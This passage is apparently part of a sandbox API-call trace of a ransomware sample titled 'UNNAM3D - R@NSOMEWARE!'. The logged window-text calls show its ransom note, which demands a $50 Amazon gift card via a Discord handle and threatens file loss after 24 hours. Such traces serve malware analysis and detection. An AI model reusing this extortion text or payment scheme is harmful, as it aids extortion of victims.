(hWnd=0x80052, nIndex=-16) returned 113967104 [0041.002] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x81, wParam=0x0, lParam=0x73e528) returned 0x1 [0041.002] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x83, wParam=0x0, lParam=0x73e514) returned 0x0 [0041.003] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x1, wParam=0x0, lParam=0x73e528) returned 0x0 [0041.003] GetClientRect (in: hWnd=0x80052, lpRect=0x73e1e0 | out: lpRect=0x73e1e0) returned 1 [0041.003] GetWindowRect (in: hWnd=0x80052, lpRect=0x73e1e0 | out: lpRect=0x73e1e0) returned 1 [0041.004] SetWindowTextW (hWnd=0x80052, lpString="UNNAM3D - R@NSOMEWARE!") returned 1 [0041.004] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0xc, wParam=0x0, lParam=0x26115ac) returned 0x1 [0041.005] GetStartupInfoW (in: lpStartupInfo=0x26128c8 | out: lpStartupInfo=0x26128c8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0041.007] GetParent (hWnd=0x80052) returned 0x0 [0041.007] SetWindowLongW (hWnd=0x80052, nIndex=-8, dwNewLong=0) returned 0 [0041.008] SendMessageW (hWnd=0x80052, Msg=0x80, wParam=0x0, lParam=0x0) returned 0x0 [0041.008] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x80, wParam=0x0, lParam=0x0) returned 0x0 [0041.008] SendMessageW (hWnd=0x80052, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0041.008] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0041.009] GetSystemMenu (hWnd=0x80052, bRevert=0) returned 0x260219 [0041.017] GetWindowPlacement (in: hWnd=0x80052, lpwndpl=0x73eb18 | out: lpwndpl=0x73eb18) returned 1 [0041.017] EnableMenuItem (hMenu=0x260219, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0041.017] EnableMenuItem (hMenu=0x260219, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0041.017] EnableMenuItem (hMenu=0x260219, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0041.017] EnableMenuItem (hMenu=0x260219, uIDEnableItem=0xf120, uEnable=0x1) returned 0 [0041.017] EnableMenuItem (hMenu=0x260219, uIDEnableItem=0xf000, uEnable=0x1) returned 0 [0041.017] GetClientRect (in: hWnd=0x80052, lpRect=0x73eb5c | out: lpRect=0x73eb5c) returned 1 [0041.017] GetClientRect (in: hWnd=0x80052, lpRect=0x73eabc | out: lpRect=0x73eabc) returned 1 [0041.017] GetWindowRect (in: hWnd=0x80052, lpRect=0x73eabc | out: lpRect=0x73eabc) returned 1 [0041.018] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fbc0000 [0041.018] GetWindowLongW (hWnd=0x80052, nIndex=-16) returned 113967104 [0041.018] GetWindowTextLengthW (hWnd=0x80052) returned 22 [0041.018] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0041.018] GetSystemMetrics (nIndex=42) returned 0 [0041.018] GetWindowTextW (in: hWnd=0x80052, lpString=0x73ea3c, nMaxCount=23 | out: lpString="UNNAM3D - R@NSOMEWARE!") returned 22 [0041.018] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0xd, wParam=0x17, lParam=0x73ea3c) returned 0x16 [0041.019] GetWindowTextLengthW (hWnd=0x80052) returned 22 [0041.019] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0041.019] GetSystemMetrics (nIndex=42) returned 0 [0041.019] GetWindowTextW (in: hWnd=0x80052, lpString=0x73ea3c, nMaxCount=23 | out: lpString="UNNAM3D - R@NSOMEWARE!") returned 22 [0041.019] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0xd, wParam=0x17, lParam=0x73ea3c) returned 0x16 [0041.019] GetCursorPos (in: lpPoint=0x2612ae8 | out: lpPoint=0x2612ae8*(x=44, y=346)) returned 1 [0041.019] MonitorFromPoint (pt=0x29, dwFlags=0x157) returned 0x10001 [0041.019] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x73e98c | out: lpmi=0x73e98c) returned 1 [0041.019] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x6f010670 [0041.019] GetDeviceCaps (hdc=0x6f010670, index=12) returned 32 [0041.019] GetDeviceCaps (hdc=0x6f010670, index=14) returned 1 [0041.019] DeleteDC (hdc=0x6f010670) returned 1 [0041.021] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x73e9dc | out: lpmi=0x73e9dc) returned 1 [0041.021] GetWindowLongW (hWnd=0x80052, nIndex=-16) returned 113967104 [0041.021] GetWindowLongW (hWnd=0x80052, nIndex=-20) returned 327937 [0041.021] SetWindowLongW (hWnd=0x80052, nIndex=-16, dwNewLong=46858240) returned 113967104 [0041.021] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x7c, wParam=0xfffffff0, lParam=0x73eabc) returned 0x0 [0041.021] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x7d, wParam=0xfffffff0, lParam=0x73eabc) returned 0x0 [0041.023] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0041.023] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0041.023] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0041.023] SetWindowLongW (hWnd=0x80052, nIndex=-20, dwNewLong=327681) returned 327937 [0041.024] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x7c, wParam=0xffffffec, lParam=0x73eabc) returned 0x0 [0041.024] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x7d, wParam=0xffffffec, lParam=0x73eabc) returned 0x0 [0041.024] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0041.024] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0041.024] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0041.025] SetWindowPos (hWnd=0x80052, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0041.025] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x46, wParam=0x0, lParam=0x73ead4) returned 0x0 [0041.025] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x83, wParam=0x1, lParam=0x73eaac) returned 0x0 [0041.026] GetWindowPlacement (in: hWnd=0x80052, lpwndpl=0x73e800 | out: lpwndpl=0x73e800) returned 1 [0041.026] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x47, wParam=0x0, lParam=0x73ead4) returned 0x0 [0041.026] GetClientRect (in: hWnd=0x80052, lpRect=0x73e7b0 | out: lpRect=0x73e7b0) returned 1 [0041.026] GetWindowRect (in: hWnd=0x80052, lpRect=0x73e7b0 | out: lpRect=0x73e7b0) returned 1 [0041.027] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0041.027] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0041.027] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0041.027] RedrawWindow (hWnd=0x80052, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0041.027] GetSystemMenu (hWnd=0x80052, bRevert=0) returned 0x260219 [0041.028] GetWindowPlacement (in: hWnd=0x80052, lpwndpl=0x73eb08 | out: lpwndpl=0x73eb08) returned 1 [0041.028] EnableMenuItem (hMenu=0x260219, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0041.028] EnableMenuItem (hMenu=0x260219, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0041.028] EnableMenuItem (hMenu=0x260219, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0041.028] EnableMenuItem (hMenu=0x260219, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0041.028] EnableMenuItem (hMenu=0x260219, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0041.028] ShowWindow (hWnd=0x80052, nCmdShow=5) [0041.028] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0041.028] GetCurrentActCtx (in: lphActCtx=0x73e754 | out: lphActCtx=0x73e754*=0x9af7f4) returned 1 [0041.028] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fbc0000 [0041.028] GetModuleHandleW (lpModuleName=0x0) returned 0xd0000 [0041.028] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r9_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=-3, Y=-9, nWidth=15, nHeight=19, hWndParent=0x80052, hMenu=0x0, hInstance=0xd0000, lpParam=0x0) returned 0x60076 [0041.029] SetWindowLongW (hWnd=0x60076, nIndex=-4, dwNewLong=1952448832) returned 78513814 [0041.029] GetWindowLongW (hWnd=0x60076, nIndex=-4) returned 1952448832 [0041.029] SetWindowLongW (hWnd=0x60076, nIndex=-4, dwNewLong=78514742) returned 1952448832 [0041.029] GetWindowLongW (hWnd=0x60076, nIndex=-4) returned 78514742 [0041.029] GetWindowLongW (hWnd=0x60076, nIndex=-16) returned 1174405120 [0041.029] GetWindowLongW (hWnd=0x60076, nIndex=-12) returned 0 [0041.029] SetWindowLongW (hWnd=0x60076, nIndex=-12, dwNewLong=393334) returned 0 [0041.029] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x60076, Msg=0x81, wParam=0x0, lParam=0x73e178) returned 0x1 [0041.029] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x60076, Msg=0x83, wParam=0x0, lParam=0x73e164) returned 0x0 [0041.030] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x60076, Msg=0x1, wParam=0x0, lParam=0x73e178) returned 0x0 [0041.030] GetWindow (hWnd=0x60076, uCmd=0x3) returned 0x0 [0041.030] GetClientRect (in: hWnd=0x60076, lpRect=0x73de60 | out: lpRect=0x73de60) returned 1 [0041.030] GetWindowRect (in: hWnd=0x60076, lpRect=0x73de60 | out: lpRect=0x73de60) returned 1 [0041.030] GetParent (hWnd=0x60076) returned 0x80052 [0041.030] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80052, lpPoints=0x73de60, cPoints=0x2 | out: lpPoints=0x73de60) returned -16515558 [0041.031] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x60076, Msg=0x5, wParam=0x0, lParam=0x13000f) returned 0x0 [0041.031] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x60076, Msg=0x3, wParam=0x0, lParam=0xfff7fffd) returned 0x0 [0041.031] GetClientRect (in: hWnd=0x60076, lpRect=0x73deb8 | out: lpRect=0x73deb8) returned 1 [0041.031] GetWindowRect (in: hWnd=0x60076, lpRect=0x73deb8 | out: lpRect=0x73deb8) returned 1 [0041.031] GetParent (hWnd=0x60076) returned 0x80052 [0041.031] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80052, lpPoints=0x73deb8, cPoints=0x2 | out: lpPoints=0x73deb8) returned -16515558 [0041.031] SendMessageW (hWnd=0x60076, Msg=0x2210, wParam=0x760001, lParam=0x60076) returned 0x0 [0041.031] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x60076, Msg=0x2210, wParam=0x760001, lParam=0x60076) returned 0x0 [0041.031] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x60076, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0041.032] GetParent (hWnd=0x60076) returned 0x80052 [0041.032] GetCurrentActCtx (in: lphActCtx=0x73e754 | out: lphActCtx=0x73e754*=0x9af7f4) returned 1 [0041.032] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fbc0000 [0041.032] GetClassInfoW (in: hInstance=0x0, lpClassName="STATIC", lpWndClass=0x2612f00 | out: lpWndClass=0x2612f00) returned 1 [0041.033] GetModuleHandleW (lpModuleName=0x0) returned 0xd0000 [0041.033] CoTaskMemAlloc (cb=0x56) returned 0x9d2110 [0041.033] RegisterClassW (lpWndClass=0x73e608) returned 0xc175 [0041.033] CoTaskMemFree (pv=0x9d2110) [0041.033] GetModuleHandleW (lpModuleName=0x0) returned 0xd0000 [0041.034] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r9_ad1", lpWindowName="Discord: UNNAM3D#6666", dwStyle=0x5600000d, X=3, Y=353, nWidth=172, nHeight=15, hWndParent=0x80052, hMenu=0x0, hInstance=0xd0000, lpParam=0x0) returned 0x7002e [0041.034] SetWindowLongW (hWnd=0x7002e, nIndex=-4, dwNewLong=1875094464) returned 78514782 [0041.034] GetWindowLongW (hWnd=0x7002e, nIndex=-4) returned 1875094464 [0041.034] SetWindowLongW (hWnd=0x7002e, nIndex=-4, dwNewLong=78514822) returned 1875094464 [0041.034] GetWindowLongW (hWnd=0x7002e, nIndex=-4) returned 78514822 [0041.034] GetWindowLongW (hWnd=0x7002e, nIndex=-16) returned 1174405133 [0041.034] GetWindowLongW (hWnd=0x7002e, nIndex=-12) returned 0 [0041.034] SetWindowLongW (hWnd=0x7002e, nIndex=-12, dwNewLong=458798) returned 0 [0041.034] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x7002e, Msg=0x81, wParam=0x0, lParam=0x73e178) returned 0x1 [0041.035] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x7002e, Msg=0x83, wParam=0x0, lParam=0x73e164) returned 0x0 [0041.035] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x7002e, Msg=0x1, wParam=0x0, lParam=0x73e178) returned 0x0 [0041.036] GetWindow (hWnd=0x7002e, uCmd=0x3) returned 0x60076 [0041.036] GetClientRect (in: hWnd=0x7002e, lpRect=0x73de24 | out: lpRect=0x73de24) returned 1 [0041.036] GetWindowRect (in: hWnd=0x7002e, lpRect=0x73de24 | out: lpRect=0x73de24) returned 1 [0041.036] GetParent (hWnd=0x7002e) returned 0x80052 [0041.036] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80052, lpPoints=0x73de24, cPoints=0x2 | out: lpPoints=0x73de24) returned -16515558 [0041.036] SetWindowTextW (hWnd=0x7002e, lpString="Discord: UNNAM3D#6666") returned 1 [0041.036] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x7002e, Msg=0xc, wParam=0x0, lParam=0x25466d8) returned 0x1 [0041.037] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x7002e, Msg=0x5, wParam=0x0, lParam=0xf00ac) returned 0x0 [0041.037] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x7002e, Msg=0x3, wParam=0x0, lParam=0x1610003) returned 0x0 [0041.037] GetClientRect (in: hWnd=0x7002e, lpRect=0x73de7c | out: lpRect=0x73de7c) returned 1 [0041.037] GetWindowRect (in: hWnd=0x7002e, lpRect=0x73de7c | out: lpRect=0x73de7c) returned 1 [0041.037] GetParent (hWnd=0x7002e) returned 0x80052 [0041.037] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80052, lpPoints=0x73de7c, cPoints=0x2 | out: lpPoints=0x73de7c) returned -16515558 [0041.037] SendMessageW (hWnd=0x7002e, Msg=0x2210, wParam=0x2e0001, lParam=0x7002e) returned 0x0 [0041.037] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x7002e, Msg=0x2210, wParam=0x2e0001, lParam=0x7002e) returned 0x0 [0041.037] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x7002e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0041.037] GetParent (hWnd=0x7002e) returned 0x80052 [0041.037] GetCurrentActCtx (in: lphActCtx=0x73e754 | out: lphActCtx=0x73e754*=0x9af7f4) returned 1 [0041.037] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fbc0000 [0041.037] GetModuleHandleW (lpModuleName=0x0) returned 0xd0000 [0041.038] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r9_ad1", lpWindowName="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.", dwStyle=0x5600000d, X=14, Y=206, nWidth=382, nHeight=45, hWndParent=0x80052, hMenu=0x0, hInstance=0xd0000, lpParam=0x0) returned 0x2021c [0041.038] SetWindowLongW (hWnd=0x2021c, nIndex=-4, dwNewLong=1875094464) returned 78514782 [0041.038] GetWindowLongW (hWnd=0x2021c, nIndex=-4) returned 1875094464 [0041.038] SetWindowLongW (hWnd=0x2021c, nIndex=-4, dwNewLong=78514862) returned 1875094464 [0041.038] GetWindowLongW (hWnd=0x2021c, nIndex=-4) returned 78514862 [0041.038] GetWindowLongW (hWnd=0x2021c, nIndex=-16) returned 1174405133 [0041.038] GetWindowLongW (hWnd=0x2021c, nIndex=-12) returned 0 [0041.038] SetWindowLongW (hWnd=0x2021c, nIndex=-12, dwNewLong=131612) returned 0 [0041.038] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x2021c, Msg=0x81, wParam=0x0, lParam=0x73e178) returned 0x1 [0041.039] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x2021c, Msg=0x83, wParam=0x0, lParam=0x73e164) returned 0x0 [0041.039] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x2021c, Msg=0x1, wParam=0x0, lParam=0x73e178) returned 0x0 [0041.039] GetWindow (hWnd=0x2021c, uCmd=0x3) returned 0x7002e [0041.039] GetClientRect (in: hWnd=0x2021c, lpRect=0x73de24 | out: lpRect=0x73de24) returned 1 [0041.039] GetWindowRect (in: hWnd=0x2021c, lpRect=0x73de24 | out: lpRect=0x73de24) returned 1 [0041.039] GetParent (hWnd=0x2021c) returned 0x80052 [0041.039] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80052, lpPoints=0x73de24, cPoints=0x2 | out: lpPoints=0x73de24) returned -16515558 [0041.039] SetWindowTextW (hWnd=0x2021c, lpString="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.") returned 1 [0041.039] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x2021c, Msg=0xc, wParam=0x0, lParam=0x2607d78) returned 0x1 [0041.040] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x2021c, Msg=0x5, wParam=0x0, lParam=0x2d017e) returned 0x0 [0041.040] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x2021c, Msg=0x3, wParam=0x0, lParam=0xce000e) returned 0x0 [0041.040] GetClientRect (in: hWnd=0x2021c, lpRect=0x73de7c | out: lpRect=0x73de7c) returned 1 [0041.040] GetWindowRect (in: hWnd=0x2021c, lpRect=0x73de7c | out: lpRect=0x73de7c) returned 1 [0041.040] GetParent (hWnd=0x2021c) returned 0x80052 [0041.040] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80052, lpPoints=0x73de7c, cPoints=0x2 | out: lpPoints=0x73de7c) returned -16515558 [0041.040] SendMessageW (hWnd=0x2021c, Msg=0x2210, wParam=0x21c0001, lParam=0x2021c) returned 0x0 [0041.040] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x2021c, Msg=0x2210, wParam=0x21c0001, lParam=0x2021c) returned 0x0 [0041.040] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x2021c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0041.040] GetParent (hWnd=0x2021c) returned 0x80052 [0041.040] GetCurrentActCtx (in: lphActCtx=0x73e754 | out: lphActCtx=0x73e754*=0x9af7f4) returned 1 [0041.041] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fbc0000 [0041.041] GetModuleHandleW (lpModuleName=0x0) returned 0xd0000 [0041.041] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r9_ad1", lpWindowName="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n", dwStyle=0x5600000d, X=14, Y=107, nWidth=435, nHeight=60, hWndParent=0x80052, hMenu=0x0, hInstance=0xd0000, lpParam=0x0) returned 0x90016 [0041.041] SetWindowLongW (hWnd=0x90016, nIndex=-4, dwNewLong=1875094464) returned 78514782 [0041.041] GetWindowLongW (hWnd=0x90016, nIndex=-4) returned 1875094464 [0041.041] SetWindowLongW (hWnd=0x90016, nIndex=-4, dwNewLong=78514902) returned 1875094464 [0041.042] GetWindowLongW (hWnd=0x90016, nIndex=-4) returned 78514902 [0041.042] GetWindowLongW (hWnd=0x90016, nIndex=-16) returned 1174405133 [0041.042] GetWindowLongW (hWnd=0x90016, nIndex=-12) returned 0 [0041.042] SetWindowLongW (hWnd=0x90016, nIndex=-12, dwNewLong=589846) returned 0 [0041.042] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x90016, Msg=0x81, wParam=0x0, lParam=0x73e178) returned 0x1 [0041.042] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x90016, Msg=0x83, wParam=0x0, lParam=0x73e164) returned 0x0 [0041.042] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x90016, Msg=0x1, wParam=0x0, lParam=0x73e178) returned 0x0 [0041.043] GetWindow (hWnd=0x90016, uCmd=0x3) returned 0x2021c [0041.043] GetClientRect (in: hWnd=0x90016, lpRect=0x73de24 | out: lpRect=0x73de24) returned 1 [0041.043] GetWindowRect (in: hWnd=0x90016, lpRect=0x73de24 | out: lpRect=0x73de24) returned 1 [0041.043] GetParent (hWnd=0x90016) returned 0x80052 [0041.043] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80052, lpPoints=0x73de24, cPoints=0x2 | out: lpPoints=0x73de24) returned -16515558 [0041.043] SetWindowTextW (hWnd=0x90016, lpString="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n") returned 1 [0041.043] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x90016, Msg=0xc, wParam=0x0, lParam=0x2545d18) returned 0x1 [0041.043] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x90016, Msg=0x5, wParam=0x0, lParam=0x3c01b3) returned 0x0 [0041.043] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x90016, Msg=0x3, wParam=0x0, lParam=0x6b000e) returned 0x0 [0041.043] GetClientRect (in: hWnd=0x90016, lpRect=0x73de7c | out: lpRect=0x73de7c) returned 1 [0041.043] GetWindowRect (in: hWnd=0x90016, lpRect=0x73de7c | out: lpRect=0x73de7c) returned 1 [0041.043] GetParent (hWnd=0x90016) returned 0x80052 [0041.043] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80052, lpPoints=0x73de7c, cPoints=0x2 | out: lpPoints=0x73de7c) returned -16515558 [0041.044] SendMessageW (hWnd=0x90016, Msg=0x2210, wParam=0x160001, lParam=0x90016) returned 0x0 [0041.044] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x90016, Msg=0x2210, wParam=0x160001, lParam=0x90016) returned 0x0 [0041.044] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x90016, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0041.044] GetParent (hWnd=0x90016) returned 0x80052 [0041.044] GetCurrentActCtx (in: lphActCtx=0x73e754 | out: lphActCtx=0x73e754*=0x9af7f4) returned 1 [0041.044] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fbc0000 [0041.044] GetModuleHandleW (lpModuleName=0x0) returned 0xd0000 [0041.044] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r9_ad1", lpWindowName="How do i pay?", dwStyle=0x5600000d, X=13, Y=170, nWidth=143, nHeight=24, hWndParent=0x80052, hMenu=0x0, hInstance=0xd0000, lpParam=0x0) returned 0x60216 [0041.045] SetWindowLongW (hWnd=0x60216, nIndex=-4, dwNewLong=1875094464) returned 78514782 [0041.045] GetWindowLongW (hWnd=0x60216, nIndex=-4) returned 1875094464 [0041.045] SetWindowLongW (hWnd=0x60216, nIndex=-4, dwNewLong=78514942) returned 1875094464 [0041.045] GetWindowLongW (hWnd=0x60216, nIndex=-4) returned 78514942 [0041.045] GetWindowLongW (hWnd=0x60216, nIndex=-16) returned 1174405133 [0041.045] GetWindowLongW (hWnd=0x60216, nIndex=-12) returned 0 [0041.045] SetWindowLongW (hWnd=0x60216, nIndex=-12, dwNewLong=393750) returned 0 [0041.045] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x60216, Msg=0x81, wParam=0x0, lParam=0x73e178) returned 0x1 [0041.046] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x60216, Msg=0x83, wParam=0x0, lParam=0x73e164) returned 0x0 [0041.046] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x60216, Msg=0x1, wParam=0x0, lParam=0x73e178) returned 0x0 [0041.046] GetWindow (hWnd=0x60216, uCmd=0x3) returned 0x90016 [0041.046] GetClientRect (in: hWnd=0x60216, lpRect=0x73de24 | out: lpRect=0x73de24) returned 1 [0041.046] GetWindowRect (in: hWnd=0x60216, lpRect=0x73de24 | out: lpRect=0x73de24) returned 1 [0041.046] GetParent (hWnd=0x60216) returned 0x80052 [0041.046] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80052, lpPoints=0x73de24, cPoints=0x2 | out: lpPoints=0x73de24) returned -16515558 [0041.047] SetWindowTextW (hWnd=0x60216, lpString="How do i pay?") returned 1 [0041.047] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x60216, Msg=0xc, wParam=0x0, lParam=0x2546168) returned 0x1 [0041.047] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x60216, Msg=0x5, wParam=0x0, lParam=0x18008f) returned 0x0 [0041.047] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x60216, Msg=0x3, wParam=0x0, lParam=0xaa000d) returned 0x0 [0041.047] GetClientRect (in: hWnd=0x60216, lpRect=0x73de7c | out: lpRect=0x73de7c) returned 1 [0041.047] GetWindowRect (in: hWnd=0x60216, lpRect=0x73de7c | out: lpRect=0x73de7c) returned 1 [0041.047] GetParent (hWnd=0x60216) returned 0x80052 [0041.047] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80052, lpPoints=0x73de7c, cPoints=0x2 | out: lpPoints=0x73de7c) returned -16515558 [0041.047] SendMessageW (hWnd=0x60216, Msg=0x2210, wParam=0x2160001, lParam=0x60216) returned 0x0 [0041.047] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x60216, Msg=0x2210, wParam=0x2160001, lParam=0x60216) returned 0x0 [0041.048] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x60216, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0041.048] GetParent (hWnd=0x60216) returned 0x80052 [0041.048] GetCurrentActCtx (in: lphActCtx=0x73e754 | out: lphActCtx=0x73e754*=0x9af7f4) returned 1 [0041.048] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fbc0000 [0041.048] GetModuleHandleW (lpModuleName=0x0) returned 0xd0000 [0041.048] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r9_ad1", lpWindowName="What Happend?", dwStyle=0x5600000d, X=13, Y=74, nWidth=160, nHeight=24, hWndParent=0x80052, hMenu=0x0, hInstance=0xd0000, lpParam=0x0) returned 0x20220 [0041.048] SetWindowLongW (hWnd=0x20220, nIndex=-4, dwNewLong=1875094464) returned 78514782 [0041.049] GetWindowLongW (hWnd=0x20220, nIndex=-4) returned 1875094464 [0041.049] SetWindowLongW (hWnd=0x20220, nIndex=-4, dwNewLong=78514982) returned 